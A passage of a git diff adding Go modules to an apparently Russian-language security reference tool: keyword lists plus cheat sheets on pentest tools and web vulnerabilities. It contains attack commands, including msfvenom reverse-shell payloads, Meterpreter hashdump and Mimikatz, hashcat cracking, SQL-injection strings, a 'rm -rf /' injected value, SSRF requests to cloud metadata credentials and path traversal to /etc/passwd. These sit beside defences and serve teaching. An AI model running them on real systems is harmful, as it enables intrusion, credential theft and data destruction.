поиска по модулю +func Keywords(key string) []string { + kw := map[string][]string{ + "basics": { + "CIA", "конфиденциальность", "целостность", "доступность", + "угрозы", "уязвимости", "риски", "STRIDE", "DREAD", "PASTA", + "NIST", "ISO 27001", "CIS", "OWASP", "CVSS", "модель угроз", + "threat modeling", "zero trust", "defence in depth", + }, + "crypto": { + "криптография", "шифрование", "encryption", "AES", "RSA", "ECDSA", + "Ed25519", "SHA", "SHA-256", "хэш", "hash", "HMAC", "MAC", + "симметричная", "асимметричная", "GCM", "ChaCha20", "bcrypt", + "Argon2", "соль", "salt", "пароли", "passwords", "PFS", + "Perfect Forward Secrecy", "квантовая", "постквантовая", + }, + "pki": { + "PKI", "сертификаты", "certificates", "CA", "TLS", "SSL", "HTTPS", + "X.509", "RSA", "Let's Encrypt", "certbot", "ACME", "OpenSSL", + "CSR", "цепочка доверия", "cipher suite", "handshake", "HSTS", + "SNI", "SAN", "wildcard", "отзыв", "CRL", "OCSP", + }, + "netsec": { + "сетевая безопасность", "nmap", "сканирование", "scan", "tcpdump", + "Wireshark", "IDS", "IPS", "Snort", "Suricata", "firewall", + "iptables", "nftables", "VPN", "WireGuard", "OpenVPN", "IPsec", + "DDoS", "MITM", "ARP spoofing", "DNS spoofing", "сегментация", + "VLAN", "DMZ", "masscan", "Network Policy", + }, + "web": { + "OWASP", "XSS", "SQL injection", "SQLi", "CSRF", "SSRF", "XXE", + "инъекции", "injection", "Path traversal", "IDOR", "broken access", + "CSP", "Content Security Policy", "WAF", "веб-уязвимости", + "burp suite", "sqlmap", "nikto", "gobuster", "ffuf", + }, + "hardening": { + "hardening", "усиление", "SSH", "sshd_config", "auditd", "аудит", + "Lynis", "OpenSCAP", "CIS Benchmarks", "sysctl", "AIDE", + "целостность файлов", "unattended-upgrades", "fail2ban", + "минимальные привилегии", "least privilege", + }, + "authn": { + "аутентификация", "авторизация", "MFA", "2FA", "TOTP", "FIDO2", + "WebAuthn", "passkeys", "JWT", "токены", "OAuth2", "OIDC", + "LDAP", "Active Directory", "Kerberos", "RBAC", "ABAC", + "Vault", "HashiCorp", "secrets", "секреты", "пароли", + "bcrypt", "SSO", "Single Sign-On", + }, + "tools": { + "nmap", "Metasploit", "Burp Suite", "Wireshark", "Hashcat", + "John the Ripper", "sqlmap", "gobuster", "ffuf", "nikto", + "OSINT", "Shodan", "theHarvester", "subfinder", "amass", + "пентест", "pentest", "CTF", "форензика", "forensics", + "Ghidra", "IDA", "LinPEAS", "WinPEAS", "BloodHound", + "Mimikatz", "Cobalt Strike", "MITRE ATT&CK", "threat hunting", + }, + } + if v, ok := kw[key]; ok { + return v + } + return []string{} +} diff --git a/modules/infosecmodules/infosec_tools.go b/modules/infosecmodules/infosec_tools.go new file mode 100644 index 0000000..ccd5cf4 --- /dev/null +++ b/modules/infosecmodules/infosec_tools.go @@ -0,0 +1,284 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var ToolsModule = Module{ + Key: "tools", + Aliases: []string{"t", "pentest", "инструменты"}, + Title: "Инструменты безопасности", + Description: "nmap, Metasploit, Burp Suite, Wireshark, Hashcat, инструменты OSINT", + Run: showTools, +} + +func showTools() { + utils.Header("InfoSec — Инструменты безопасности") + + utils.Section("Разведка и OSINT") + utils.Code(`OSINT (Open Source Intelligence) — разведка из открытых источников. + +# whois — информация о домене: +whois example.com +whois 1.2.3.4 + +# DNS разведка: +dig example.com ANY +dig +short MX example.com +dig +short TXT example.com # SPF, DKIM, DMARC +dig +trace example.com # полный путь разрешения +nslookup example.com 8.8.8.8 + +# Субдомены: +subfinder -d example.com -o subdomains.txt +amass enum -d example.com +dnsx -l subdomains.txt # проверить живые + +# Сертификаты → субдомены: +# https://crt.sh/?q=%.example.com +curl -s "https://crt.sh/?q=%.example.com&output=json" | \ + jq -r '.[].name_value' | sort -u + +# theHarvester — email, имена, субдомены: +theHarvester -d example.com -b google,bing,shodan + +# Shodan — поисковик по устройствам: +# https://www.shodan.io +# CLI: pip install shodan +shodan search "apache country:RU" +shodan host 1.2.3.4 + +# Google dorks (Google Hacking): +site:example.com filetype:pdf +site:example.com inurl:admin +site:example.com intitle:"index of" +"@example.com" filetype:xls +"password" site:example.com filetype:txt`) + + utils.Section("Сканирование и перечисление") + utils.Code(`# nmap (подробнее в InfoSec → netsec): +nmap -sV -sC -A -p- target.com -oA full_scan + +# gobuster — перебор директорий и файлов: +gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt +gobuster dir -u https://target.com -w wordlist.txt -x php,html,js -t 50 +gobuster dns -d target.com -w subdomains.txt + +# feroxbuster — рекурсивный перебор: +feroxbuster -u https://target.com -w wordlist.txt --depth 3 + +# ffuf — быстрый fuzzer: +ffuf -u https://target.com/FUZZ -w wordlist.txt +ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt +ffuf -u https://target.com/login -X POST \ + -d "user=FUZZ&pass=password" -w usernames.txt + +# nikto — сканер веб-уязвимостей: +nikto -h https://target.com +nikto -h target.com -port 8443 -ssl + +# enum4linux-ng — перечисление Windows/Samba: +enum4linux-ng -A target.com + +# crackmapexec — swiss army knife для AD: +crackmapexec smb 192.168.1.0/24 +crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt`) + + utils.Section("Metasploit Framework") + utils.Code(`Metasploit — платформа для разработки и запуска эксплойтов. + +# Запуск: +msfconsole +msfconsole -q # без баннера + +# Основные команды: +search ms17-010 # поиск модуля (EternalBlue) +use exploit/windows/smb/ms17_010_eternalblue +info # информация о модуле +show options # параметры +show payloads # доступные пейлоады +set RHOSTS 192.168.1.10 # цель +set LHOST 192.168.1.20 # наш IP +set payload windows/x64/meterpreter/reverse_tcp +check # проверить уязвимость без эксплуатации +run / exploit # запустить + +# Meterpreter — расширенный пейлоад: +sysinfo # информация о системе +getuid # текущий пользователь +getsystem # повышение привилегий +hashdump # дамп хэшей паролей +shell # системный shell +upload /path/file C:\\ # загрузить файл +download C:\\file.txt # скачать файл +ps # список процессов +migrate 1234 # мигрировать в процесс +portfwd add -l 3306 -r 127.0.0.1 -p 3306 # port forwarding +load kiwi && creds_all # Mimikatz (дамп credentials) + +# msfvenom — генератор пейлоадов: +msfvenom -p windows/x64/meterpreter/reverse_tcp \ + LHOST=192.168.1.20 LPORT=4444 -f exe -o payload.exe + +msfvenom -p linux/x64/meterpreter/reverse_tcp \ + LHOST=192.168.1.20 LPORT=4444 -f elf -o payload + +# Auxiliary модули: +use auxiliary/scanner/portscan/tcp +use auxiliary/scanner/smb/smb_ms17_010 +use auxiliary/brute/http/http_login`) + + utils.Section("Burp Suite — тестирование веб-приложений") + utils.Code(`Burp Suite — платформа для ручного и автоматического тестирования веб. + +Основные инструменты: + Proxy — перехват и изменение HTTP/HTTPS трафика + Repeater — повторная отправка запросов с изменениями + Intruder — автоматизированные атаки (brute force, fuzzing) + Scanner — автоматическое сканирование уязвимостей (Pro) + Decoder — кодирование/декодирование (Base64, URL, HTML) + Comparer — сравнение ответов + Sequencer — анализ случайности токенов + +# Настройка прокси: +# Browser → Proxy 127.0.0.1:8080 → Burp → Target +# Установить Burp CA certificate в браузер для HTTPS + +# Основной workflow: +1. Настроить браузер на прокси +2. Interceptor: On — перехватывать запросы +3. Исследовать приложение +4. Отправлять интересные запросы в Repeater +5. Изменять параметры, проверять реакцию +6. Атаки Intruder для перебора + +# Расширения (BApp Store): +Active Scan++ — дополнительные проверки +JWT Editor — работа с JWT токенами +Logger++ — расширенное логирование +Param Miner — поиск скрытых параметров + +# curl как замена для простых тестов: +curl -v -X POST https://target.com/login \ + -H "Content-Type: application/json" \ + -d '{"user":"admin","pass":"'"'"' OR 1=1 --"}'`) + + utils.Section("Взлом паролей — Hashcat и John") + utils.Code(`# Hashcat — GPU-ускоренный взломщик хэшей: +hashcat --example-hashes | grep -A 1 "MODE: 0" # примеры хэшей + +# Основные режимы атаки: +# -a 0: Straight (словарь) +# -a 1: Combination (два словаря) +# -a 3: Brute-force (маски) +# -a 6: Hybrid (словарь + маска) + +# Типы хэшей (-m): +# 0 — MD5 +# 1000 — NTLM +# 1800 — sha512crypt (Linux /etc/shadow) +# 3200 — bcrypt +# 13100 — Kerberos TGS-REP + +# Атаки: +# Словарная атака: +hashcat -m 1000 hashes.txt rockyou.txt + +# Brute-force с маской: +hashcat -m 0 hashes.txt -a 3 ?l?l?l?l?d?d # 4 буквы + 2 цифры +# Маски: ?l=lower ?u=upper ?d=digit ?s=special ?a=all + +# Комбо: словарь + правила: +hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule + +# John the Ripper — классика: +john --format=bcrypt hashes.txt --wordlist=rockyou.txt +john --show hashes.txt + +# Словари: +# rockyou.txt — 14 млн паролей из утечки +# SecLists/Passwords — коллекция словарей +# CrackStation — 1.5 млрд паролей`) + + utils.Section("Инструменты для CTF и пентеста") + utils.Code(`Стеганография: + steghide — скрытие данных в изображениях + binwalk — анализ бинарных файлов (embedded files) + exiftool — метаданные файлов + strings — строки в бинарных файлах + xxd — hex dump + +Форензика: + volatility — анализ дампов памяти + autopsy / sleuthkit — форензика дисков + Wireshark — анализ сетевого трафика + foremost — восстановление файлов + +Web: + sqlmap — автоматический SQL injection + sqlmap -u "https://target.com/page?id=1" --dbs + sqlmap -u "https://target.com/page?id=1" -D mydb --tables + + wfuzz — fuzzer (альтернатива ffuf) + XSStrike — анализ XSS + Commix — command injection + +Reverse Engineering: + Ghidra — бесплатный дизассемблер (NSA) + IDA Pro — коммерческий, стандарт индустрии + radare2 — open source framework + pwndbg — расширение GDB для exploit development + +Privilege Escalation (Linux): + LinPEAS — автоматический поиск векторов + linux-exploit-suggester — предложения эксплойтов + pspy — мониторинг процессов без root + +Privilege Escalation (Windows): + WinPEAS — автоматический поиск + PowerSploit — PowerShell для пентеста + BloodHound — граф атак в Active Directory + +Полезные дистрибутивы: + Kali Linux — стандарт для пентеста + Parrot OS — лёгкий, для форензики и пентеста + BlackArch — Arch-based, огромный репозиторий`) + + utils.Section("SIEM и Threat Hunting") + utils.Code(`SIEM (Security Information and Event Management): + Централизованный сбор, корреляция и анализ событий безопасности. + + Splunk — коммерческий, мощный + Elastic SIEM (ELK) — Elasticsearch + Kibana + Microsoft Sentinel — облачный SIEM (Azure) + IBM QRadar — корпоративный + Graylog — open source + +MITRE ATT&CK Framework: + Матрица тактик и техник, используемых атакующими. + https://attack.mitre.org + + Тактики (Tactics): Reconnaissance → Initial Access → Execution → + Persistence → Privilege Escalation → Defense Evasion → + Credential Access → Discovery → Lateral Movement → Collection → + Command and Control → Exfiltration → Impact + +Threat Hunting — проактивный поиск угроз: + Hypothesis-based: "а вдруг у нас есть Cobalt Strike?" + IOC-based: по индикаторам компрометации (IP, домены, хэши) + + Источники IOC: + VirusTotal, Shodan, AlienVault OTX + Threat Intelligence платформы (MISP, OpenCTI) + Vendor feeds (Mandiant, CrowdStrike) + +Incident Response (IR): + 1. Preparation — подготовка (playbooks, инструменты) + 2. Identification — обнаружение инцидента + 3. Containment — локализация + 4. Eradication — устранение + 5. Recovery — восстановление + 6. Lessons Learned — разбор полётов`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_web.go b/modules/infosecmodules/infosec_web.go new file mode 100644 index 0000000..8c2d0e2 --- /dev/null +++ b/modules/infosecmodules/infosec_web.go @@ -0,0 +1,241 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var WebModule = Module{ + Key: "web", + Aliases: []string{"w", "owasp", "webapp"}, + Title: "Безопасность веб-приложений", + Description: "OWASP Top 10, XSS, SQLi, CSRF, SSRF, XXE, инъекции и защита", + Run: showWeb, +} + +func showWeb() { + utils.Header("InfoSec — Безопасность веб-приложений") + + utils.Section("OWASP Top 10 (2021)") + utils.Code(`A01 Broken Access Control — нарушение контроля доступа (IDOR, privilege escalation) +A02 Cryptographic Failures — слабая/отсутствующая криптография +A03 Injection — инъекции (SQL, NoSQL, команды, LDAP) +A04 Insecure Design — небезопасный дизайн +A05 Security Misconfiguration — неправильная конфигурация +A06 Vulnerable Components — уязвимые зависимости +A07 Auth Failures — ошибки аутентификации и сессий +A08 Software & Data Integrity — нарушение целостности ПО и данных +A09 Logging & Monitoring Failures — недостаточное логирование +A10 SSRF — Server-Side Request Forgery`) + + utils.Section("A03 Injection — SQL Injection") + utils.Code(`SQL Injection — внедрение SQL-кода через пользовательский ввод. + +Уязвимый код: + query = "SELECT * FROM users WHERE name='" + name + "'" + # Ввод: ' OR '1'='1 + # Результат: SELECT * FROM users WHERE name='' OR '1'='1' + +Типы SQLi: + In-band — ответ видно в ответе приложения + Error-based — ошибки раскрывают структуру БД + Union-based — UNION SELECT для получения данных + Blind — нет прямого ответа, только true/false или задержки + Boolean-based — условие true/false + Time-based — SLEEP() для подтверждения + Out-of-band — данные через DNS/HTTP запросы + +Примеры атак: + ' OR '1'='1' -- # обход авторизации + ' UNION SELECT 1,user(),3 -- # получить имя БД-пользователя + '; DROP TABLE users; -- # разрушительная (редко работает) + ' AND 1=2 UNION SELECT table_name FROM information_schema.tables -- + +Защита: + 1. Параметризованные запросы (Prepared Statements) — ГЛАВНЫЙ метод + 2. ORM (SQLAlchemy, Hibernate, GORM) + 3. Хранимые процедуры + 4. Экранирование (последний выбор!) + 5. WAF + 6. Принцип минимальных привилегий для БД-пользователя + +# Безопасный код (Python): +cursor.execute("SELECT * FROM users WHERE name = %s", (name,)) + +# Безопасный код (Go): +db.Query("SELECT * FROM users WHERE name = ?", name)`) + + utils.Section("A03 Injection — другие типы") + utils.Code(`NoSQL Injection (MongoDB): + Уязвимо: db.users.find({username: req.body.username}) + Атака: {"username": {"$gt": ""}} # всегда true + Защита: валидация типов, mongoose.sanitize() + +Command Injection (OS Injection): + Уязвимо: os.system("ping " + host) + Атака: "127.0.0.1; rm -rf /" + Защита: subprocess.run(["ping", host], shell=False) # НЕ shell=True! + +LDAP Injection: + Атака на LDAP-запросы (AD аутентификация) + Защита: экранирование спецсимволов LDAP + +XPath Injection: + Как SQL, но для XML/XPath + Защита: параметризованные XPath запросы + +Template Injection (SSTI): + Уязвимо: render_template_string("Hello " + name) + Атака: name = "{{7*7}}" → 49 (Jinja2 выполняет код) + Опасность: RCE (Remote Code Execution) + Защита: никогда не рендерить пользовательский ввод как шаблон`) + + utils.Section("XSS — Cross-Site Scripting") + utils.Code(`XSS — внедрение скриптов в страницы, просматриваемые другими пользователями. +Выполняется в браузере жертвы. + +Типы: + Reflected XSS — в параметре запроса, не сохраняется + URL: /search?q= + + Stored (Persistent) XSS — сохраняется в БД/файлах + Комментарий: + Опаснее: видят все пользователи + + DOM-based XSS — через DOM, не проходит через сервер + document.write(location.hash) + +Что может сделать XSS: + - Украсть cookies (document.cookie) + - Кейлоггинг (capture input) + - Перенаправление (window.location) + - Изменить страницу (phishing) + - CSRF от имени жертвы + +Атака (кража cookies): + + +Защита: + 1. Content Security Policy (CSP) — главная защита + 2. Экранирование вывода (output encoding) + HTML: < > & " + 3. HttpOnly cookies (нельзя читать через JS) + 4. X-XSS-Protection заголовок (устарел) + 5. Sanitize библиотеки (DOMPurify для JS) + +# CSP заголовок: +Content-Security-Policy: + default-src 'self'; + script-src 'self' 'nonce-random123'; + style-src 'self' 'unsafe-inline'; + img-src 'self' data: https:; + connect-src 'self' https://api.example.com; + frame-ancestors 'none'`) + + utils.Section("CSRF — Cross-Site Request Forgery") + utils.Code(`CSRF — выполнение действий от имени аутентифицированного пользователя. +Браузер автоматически отправляет cookies с любым запросом. + +Атака: + 1. Alice вошла в bank.com (cookies в браузере) + 2. Alice открывает attacker.com + 3. Страница attacker.com: + + 4. Браузер отправляет запрос с cookies Alice! + 5. Перевод выполнен. + +Защита: + 1. CSRF-токен — уникальный токен в форме/заголовке + + Сервер проверяет токен при каждом POST + + 2. SameSite Cookie: + Set-Cookie: session=abc; SameSite=Strict # только same-site + Set-Cookie: session=abc; SameSite=Lax # кросс-сайт только GET + Set-Cookie: session=abc; SameSite=None; Secure # везде (CSRF-уязвимо) + + 3. Проверка Origin/Referer заголовка + + 4. Double Submit Cookie + + 5. Custom request header (X-Requested-With: XMLHttpRequest) + Браузеры не добавляют кастомные заголовки кросс-оригин без CORS`) + + utils.Section("SSRF — Server-Side Request Forgery") + utils.Code(`SSRF — сервер делает запрос к произвольному URL, указанному атакующим. + +Атака: + # Уязвимое API: POST /fetch {"url": "..."} + + # Доступ к внутренним сервисам: + {"url": "http://192.168.1.1/admin"} + {"url": "http://localhost:8080/actuator"} + + # AWS metadata (получить credentials): + {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} + + # Сканирование внутренней сети: + {"url": "http://10.0.0.1:3306"} + +Защита: + 1. Whitelist разрешённых URL/доменов + 2. Блокировать приватные IP диапазоны + 3. DNS rebinding защита + 4. Ограничить исходящие соединения (egress firewall) + 5. AWS IMDSv2 (требует токен для metadata)`) + + utils.Section("A01 Broken Access Control — IDOR") + utils.Code(`IDOR (Insecure Direct Object Reference) — прямые ссылки на объекты без проверки прав. + +Атака: + GET /api/users/1001/profile # твой профиль + GET /api/users/1002/profile # чужой профиль (просто меняем ID!) + GET /api/orders/5678/invoice # чужой счёт + +Защита: + 1. Всегда проверять авторизацию к конкретному объекту + 2. Использовать GUID/UUID вместо последовательных ID + 3. Indirect Reference Map (пользователь видит только свои ID) + 4. Тестировать с разными пользователями! + +Privilege Escalation: + Горизонтальная — доступ к данным другого пользователя + Вертикальная — получение прав admin + +# Пример правильной проверки (Python): +order = Order.get(order_id) +if order.user_id != current_user.id: + return 403 # Forbidden`) + + utils.Section("Другие важные уязвимости") + utils.Code(`XXE (XML External Entity): + Уязвимо: парсер обрабатывает внешние сущности + Атака: + + ]> + &xxe; + Защита: отключить XXE в парсере, использовать JSON + +Path Traversal: + Атака: GET /download?file=../../../../etc/passwd + Защита: realpath + проверка что путь внутри разрешённой директории + +Insecure Deserialization: + Атака: подделать сериализованный объект → RCE + Защита: не десериализовать непроверенные данные, подписывать объекты + +Open Redirect: + Атака: /redirect?to=https://evil.com + Защита: whitelist разрешённых доменов для редиректа + +Security Headers (важные HTTP заголовки): + Strict-Transport-Security: max-age=31536000; includeSubDomains + Content-Security-Policy: default-src 'self' + X-Frame-Options: DENY + X-Content-Type-Options: nosniff + Referrer-Policy: strict-origin-when-cross-origin + Permissions-Policy: camera=(), microphone=()`) + + utils.Footer() +} diff --git a/modules/linuxmodules/linux_registry.go b/modules/linuxmodules/linux_registry.go index a393ed9..d216999 100644 --- a/modules/linuxmodules/linux_registry.go +++ b/modules/linuxmodules/linux_registry.go @@ -67,3 +67,32 @@ func ListModules() { } fmt.Println() } + +// Keywords возвращает ключевые слова для поиска по модулю +func Keywords(key string) []string { + kw := map[string][]string{ + "intro": {"операционная система", "GNU", "Linux", "дистрибутив", "FHS", "файловая система", "терминал", "shell", "bash", "история"}, + "files": {"файлы", "директории", "ls", "cp", "mv", "rm", "mkdir", "ln", "symlink", "жёсткая ссылка", "grep", "find", "cat", "head", "tail", "nano", "vim", "vi", "less", "chmod"}, + "streams": {"stdin", "stdout", "stderr", "pipe", "перенаправление", "redirect", "tee", "xargs", "dev/null", "конвейер"}, + "bash": {"bash", "alias", "history", "переменные", "PATH", "HOME", "bashrc", "completion", "type", "which", "окружение", "environment"}, + "processes": {"процессы", "ps", "top", "htop", "kill", "signals", "сигналы", "PID", "nice", "renice", "jobs", "bg", "fg", "nohup", "watch"}, + "users": {"пользователи", "группы", "sudo", "su", "chmod", "chown", "права", "permissions", "useradd", "usermod", "passwd", "visudo", "sudoers", "SUID", "SGID", "umask"}, + "kernel": {"ядро", "kernel", "uname", "dmesg", "модули", "modules", "lsmod", "modprobe", "sysctl", "lscpu", "lspci"}, + "disks": {"диски", "разделы", "fdisk", "parted", "mkfs", "mount", "fstab", "LVM", "RAID", "mdadm", "ext4", "xfs", "swap", "blkid", "df", "du"}, + "scripts": {"скрипты", "bash scripting", "if", "for", "while", "функции", "массивы", "getopts", "trap", "set -e", "shebang"}, + "boot": {"загрузка", "GRUB", "systemd", "systemctl", "journalctl", "сервисы", "юниты", "units", "target", "timer", "boot"}, + "logs": {"логи", "логирование", "rsyslog", "syslog", "logrotate", "cron", "crontab", "at", "journald", "var/log"}, + "backup": {"бэкап", "резервное копирование", "tar", "rsync", "инкрементальный", "VDO", "дедупликация"}, + "network": {"сеть", "сети", "ip", "ifconfig", "ss", "netstat", "nmcli", "SSH", "ключи", "авторизация", "firewall", "ping", "traceroute", "curl", "wget", "порты"}, + "security": {"безопасность", "SELinux", "firewalld", "firewall-cmd", "восстановление", "semanage", "chcon", "restorecon", "audit"}, + "packages": {"пакеты", "dnf", "apt", "rpm", "dpkg", "репозиторий", "установка", "snap", "flatpak", "yum"}, + "performance": {"производительность", "swap", "память", "RAM", "OOM", "планировщик", "nice", "tuned", "Stratis", "swappiness"}, + "sysconfig": {"RHEL", "hostname", "время", "NTP", "chrony", "часовой пояс", "timedatectl", "localectl", "subscription-manager"}, + "netfs": {"NFS", "SMB", "Samba", "CIFS", "autofs", "монтирование", "сетевые диски", "IPv6", "rsync", "SCP", "SFTP"}, + "tools": {"Cockpit", "glob", "регулярные выражения", "regex", "grep", "sed", "awk", "глоббинг", "веб-интерфейс"}, + } + if v, ok := kw[key]; ok { + return v + } + return []string{} +} diff --git a/rubric b/rubric index 6ce49a8..16e8bec 100755 Binary files a/rubric and b/rubric differ